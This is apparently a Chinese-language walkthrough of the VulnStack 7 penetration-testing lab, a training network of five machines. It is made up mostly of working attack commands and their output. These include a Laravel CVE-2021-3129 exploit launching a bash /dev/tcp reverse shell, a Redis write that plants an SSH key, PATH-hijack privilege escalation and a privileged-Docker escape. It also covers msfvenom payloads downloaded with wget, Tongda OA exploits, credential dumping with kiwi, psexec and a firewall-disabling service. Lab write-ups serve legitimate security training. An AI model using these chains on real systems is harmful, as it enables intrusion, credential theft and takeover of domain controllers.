VulnStack-红日靶机七
概述
在 VulnStack7 是由 5 台目标机器组成的三层网络环境,分别为 DMZ 区、第二层网络、第三层网络。涉及到的知识点也是有很多,redis未授权的利用、laravel的历史漏洞、docker逃逸、隧道、代理的搭建、通达OA系统的历史漏洞、msf的payload合理运用,kiwi、psexec、rdesktop等
DMZ 区域:
- 给 Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在 VMnet8 上连通第二层网络。
第二层网络区域:
- 给 Ubuntu (Web 2) 和 Windows 7 (PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上连通第三层网络。
第三次网络区域:
- 给 Windows Server 2012 和 Windows 7 (PC 2)都只配置了一个网卡,一个连接在 VMnet14 上连通第三层网络。
拓补图:
环境配置
三块网卡
VMnet8 是 NAT 网卡为 192.168.52.0/24
网段
VMnet1 为 192.168.31.0/24
网段
VMnet14 为 192.168.93.0/24
网段
机器默认是配置好网卡的
我们的攻击机 kali 设置为桥接模式
配置完成,开启机器
DMZ 区的 Ubuntu 需要启动 redis 和 nginx 服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu 需要启动 docker 容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达 OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
Ubuntu 1:
- web:web2021
Ubuntu 2:
- ubuntu:ubuntu
通达 OA 账户:
- admin:admin657260
开启服务后,我们进行渗透测试
一、nmap 扫描
1)端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.153.77 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-09 13:38 CST
Nmap scan report for 192.168.153.77
Host is up (0.00080s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
6379/tcp open redis
MAC Address: 00:0C:29:34:E3:01 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds
2)详细信息扫描
sudo nmap -sT -sV -sC -p22,80,81,6379 192.168.153.77 -o details
Nmap scan report for 192.168.153.77
Host is up (0.00083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c32db2d3a05fdbbbf6aaa48e79ba3554 (RSA)
| 256 ceaebd38956e5ba639869dfd4953dee0 (ECDSA)
|_ 256 3a34c76d9dca4f217109fd5b566b0351 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 404 Not Found
81/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Laravel
|_http-server-header: nginx/1.14.0 (Ubuntu)
6379/tcp open redis Redis key-value store 2.8.17
MAC Address: 00:0C:29:34:E3:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.91 seconds
3)默认脚本扫描
sudo nmap --script=vuln -p22,80,81,6379 192.168.153.77 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-09 13:59 CST
Nmap scan report for 192.168.153.77
Host is up (0.00052s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
81/tcp open hosts2-ns
6379/tcp open redis
MAC Address: 00:0C:29:34:E3:01 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 577.64 seconds
二、web 渗透
80 端口是 404
81 端口是 laravel
看到 laravel 版本号是 8.29.0 php 版本 7.4.14
通过 google 找到了 CVE-2021-3129
git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
cd CVE-2021-3129
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
执行
python CVE-2021-3129.py --host http://192.168.153.77:81 --exec whoami --force
看到结果
为 www-data
用户
反弹 shell
python CVE-2021-3129.py --force
_____ _____ ___ __ ___ _ _____ ___ ___
/ __\ \ / / __|_|_ ) \_ ) |__|__ / |_ ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_, /
\___| \_/ |___| /___\__/___|_| |___/_/___|/_/
https://github.com/joshuavanderpoll/CVE-2021-3129
Using PHPGGC: https://github.com/ambionics/phpggc
[?] Enter host (e.g. https://example.com/) : http://192.168.153.77:81/
[?] Would you like to use the previous working chain 'laravel/rce1' [Y/N] : n
[@] Starting the exploit on "http://192.168.153.77:81/"...
[@] Testing vulnerable URL "http://192.168.153.77:81/_ignition/execute-solution"...
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/storage/logs/laravel.log".
[•] Laravel version found: "8.29.0".
[•] Use "?" for a list of all available actions.
[?] Please enter a command to execute : execute bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1"
[@] Executing command "bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1""...
[@] Generating payload...
[√] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[!] Exploit request returned status code 500. Expected 200.
Error: "file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence"
[!] Failed converting payload.
[!] Failed execution of payload.
Error : file_get_contents(phar:///var/www/storage/logs/laravel.log): failed to open stream: internal corruption of phar "/var/www/storage/logs/laravel.log" (truncated entry)
[?] Would you like to try the next chain? [Y/N] : y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
这里执行到第二条链的时候可以看到有返回的 shell
看着机器名是一堆字母数字,可能是 docker 容器,检验一下
find / -name .dockerenv 2> /dev/null
看到 web 的环境就是在 docker 容器中的,而我们的权限是 www-data
,这个权限我们并不能完成 docker 逃逸。
要进行逃逸的话我们得提权,后续还要去判断可不可以逃逸到物理机。这个操作的优先级我们拍后,先去看 6379 的 redis 服务
三、redis 渗透
用 redis 客户端连接
redis-cli -h 192.168.153.77
看到 redis 是存在未授权访问的,用 redis 写定时任务,获取立足点
写入 ssh_key
生成密钥
ssh-keygen -t rsa
查看
cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali
写入目标机器 (加\n 是换行符 ,防止垃圾数据干扰)
redis-cli -h 192.168.153.77
192.168.153.77:6379> set 0 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali\n\n\n"
OK
192.168.153.77:6379> config set dir /root/.ssh
OK
192.168.153.77:6379> config set dbfilename authorized_keys
OK
192.168.153.77:6379> save
OK
kali 上执行
ssh root@192.168.153.77
四、web 后续
我们已经知道通过 redis 的未授权访问可以获得目标机器的 root 权限了。
但是我们在 web 渗透的时候,发现目标是 docker 容器,所以优先级排后了,我们现在看看他能不能让我们获得目标机器的 shell
1)提权
find / -perm -4000 -type f 2> /dev/null
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/home/jobs/shell
/bin/mount
/bin/su
/bin/umount
发现了一个 /home/jobs/shell
文件,应该是用户自定义的,我们运行看看它具体干了什么事情
看样子是 ps 命令的样式
在同级目录下还看到了 demo.c
的文件
cat demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
看到他用 root 权限执行了 ps 命令
我们可以用修改环境变量的方式进行提权
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
看到系统的 ps 命令已经变成我们自定义的 ps 命令了
/home/jobs/shell
看到成功来到了 root 权限
2)判断 Docker 逃逸
cat /proc/1/status | grep Cap
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
看 capeff 到是 0000003fffffffff
,很有可能是特权容器,尝试进行逃逸
3)挂载逃逸
mkdir /.sys
mount /dev/sda1 /.sys
.sys
要挂载的目的目录,可以任意命名,这里我创建的是隐藏目录
挂在完成后,我们进入 /.sys
目录,就可以看到物理机的目录,并拥有读写权限
4)确定靶机的 ip
cat /.sys/etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.52.20
netmask 255.255.255.0
gateway 192.168.52.2
dns-nameservers 192.168.52.2
auto eth1
iface eth1 inet static
address 192.168.93.10
netmask 255.255.255.0
看到这台机器的 ip 是
192.168.52.20
,192.168.93.10
。而我们的 redis 服务的两个 ip 是192.168.52.10
和192.168.153.77
应该是做了 nginx 反向代理
我们可以像 redis 渗透 一样写入 ssh_key 或者创建定时任务,来获得物理机起的 shell
mkdir /.sys/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali" > /.sys/root/.ssh/authorized_keys
我们在 redis 192.168.153.77
服务器当作跳板,连接这个 docker 物理机
5)搭建 ssh 隧道
在 redis 192.168.153.77
服务器上同时按下 ~C
6)拿到 shell
用代理隧道连接
proxychains ssh root@192.168.52.20
但是它仍然让我们输入密码,出现了 no mutual signature algorithm
,这是由于客户端和服务器之间没有共享的签名算法导致的。
添加参数
proxychains ssh root@192.168.52.20 -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa
成功拿到 docker 物理机 192.168.52.20
的 shell
五、上线 msf
1)redis 服务器上线
a)生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.153.37 lport=4444 -f elf > payload.elf
在 kali 端启动 http 服务
python -m http.server 80
在靶机端下载
wget http://192.168.153.37/payload.elf
chmod +x ./payload.elf
运行
成功上线
b)搭建内网路由
查看网卡网段
meterpreter > ipconfig
meterpreter > run autoroute -s 192.168.52.0/24
看到添加成功
2)docker 服务器上线
a)生成木马
msfvenom -p linux/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f elf > docker.elf
上传到 docker 物理机
proxychains scp -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i ~/.ssh/id_rsa docker.elf root@192.168.52.20:/tmp/
看到 docker.elf
上传成功
msf 监听
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 192.168.52.20
rhost => 192.168.52.20
msf6 exploit(multi/handler) > run
看到成功上线
b)搭建内网路由
meterpreter > ipconfig
meterpreter > run autoroute -s 192.168.93.0/24
看到我们已经有了 192.168.52.0/24
和 192.168.93.0/24
两个网段的路由了
六、内网扫描
对 192.168.52.0/24
和 192.168.93.0/24
两个网段进行内网扫描
我们把 fscan 上传到 docker 服务器上,因为这个服务器包含了两个内网的网段
这里可以使用 msf 的 meterpreter 的 upload 命令,也可以使用之前的 scp 命令,进行上传
upload www/fscan ./fscan
在 docker 机器上执行
192.168.52.0/24 网段
./fscan -h 192.168.52.3-254
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.52.10 is alive
(icmp) Target 192.168.52.20 is alive
(icmp) Target 192.168.52.30 is alive
[*] Icmp alive hosts len is: 3
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
192.168.52.20:22 open
192.168.52.10:22 open
192.168.52.30:8080 open
192.168.52.20:8000 open
192.168.52.30:445 open
192.168.52.10:6379 open
192.168.52.30:139 open
[*] alive ports len is: 10
还有一些指纹漏洞相关的扫描信息
192.168.93.0/24 网段
./fscan -h 192.168.93.3-254
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.93.10 is alive
(icmp) Target 192.168.93.20 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.40 is alive
[*] Icmp alive hosts len is: 4
192.168.93.30:88 open
192.168.93.20:8080 open
192.168.93.10:8000 open
192.168.93.30:445 open
192.168.93.30:139 open
192.168.93.30:135 open
192.168.93.40:445 open
192.168.93.20:445 open
192.168.93.40:139 open
192.168.93.40:3389 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.40:1080 open
[*] alive ports len is: 14
同样有一些指纹和漏洞的扫描信息
看到 192.168.52.30
和 192.168.93.20
都开起了 8080 端口,且都是通达 OA 的指纹,我们有理由怀疑这两个 ip 是同一台机器的
七、内网渗透
访问一下,记得挂上代理,是我们在 docker 服务器上用 ssh 搭建的隧道
发现两个 ip 的通达 OA 是同一个页面,发现他是 2020 年的版本,利用 google 搜索相关漏洞
利用脚本
Fake_user:https://github.com/NS-Sp4ce/TongDaOA-Fake-User
通过对 Fake_user 漏洞的利用,我们成功获取到了管理员的 cookie,在浏览器里替换 cookie
访问
http://192.168.52.30:8080/general/index.php
看到登陆成功
看到通达 OA 的详细版本为 11.3
找到了它的历史漏洞:任意文件上传
找到利用脚本
TongdaOA-exp:https://github.com/z1un/TongdaOA-exp
看到上传了一个冰蝎脚本
这里我修改了它的 TongdaOA-exp 脚本。我发现他在发现 fake_user 漏洞的时候,不能正确获取 cookie。
我把上述 Fake_user 脚本运行出来的 cookie 值替换到了 TongdaOA-exp 脚本中
成功连接
看到 192.168.52.30
和 192.168.93.20
两个 IP 就是本台机器
网络测试
看到目标机器是出网的,直接用冰蝎上线到我们的CS,msf
我这里是虚拟机环境,没有用到公网的服务器,所以我是正向的木马,上线msf
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f exe > payload.exe
利用冰蝎的文件管理功能,上传到目标机器的C:/Program Files/
目录下,并执行
成功上线
sysinfo看到本windows机器是域内机器
八、横向移动
用msf模块重新搭建socks代理,他会根据自己的路由而代理到目标ip
msf6 auxiliary(server/socks_proxy) > run
有第六步内网扫描,可知现在192.168.93.0/24
网段还有两台机器192.168.93.30
和192.168.93.40
两台机器
其中192.168.93.30
是域控主机
我们加载msf集成的mimikatz模快---kiwi
load kiwi
creds_all
看到了域管理员的hash和明文密码
尝试用administrator横向移动
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass Whoami2021
smbpass => Whoami2021
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30
rhost => 192.168.93.30
msf6 exploit(windows/smb/psexec) > run
失败了,应该是防火墙的问题,我们用IPC通道关闭防火墙
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.40 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
成功上线域控
还剩一台pc2, 看到PC2是开启了3389远程桌面管理服务的
proxychains rdesktop -d WHOAMIANONY -u administrator -p Whoami2021 192.168.93.40:3389
把木马上传到PC2上,在上线msf,此时域内机器全部上线到了msf
总结
首先通过redis的未授权拿到了初步的shell。
通过laravel的CVE-2021-3129,拿到了docker的www-data权限,利用内部脚本shell,劫持环境变量提权道了root,查看网络配置文件了解到redis和docker服务器是两台机器。利用docker的特权,挂在物理机的目录,写入ssh的key拿到了docker服务器的root权限
对两个网段进行内网扫描发现通达OA系统,利用Fake_user和文件上传漏洞,拿到了PC1服务器的system权限
利用msf集成的kiwi框架,抓取明文密码,关闭防火墙后,用psexec横向拿下域控
最后用rdesktop拿下PC2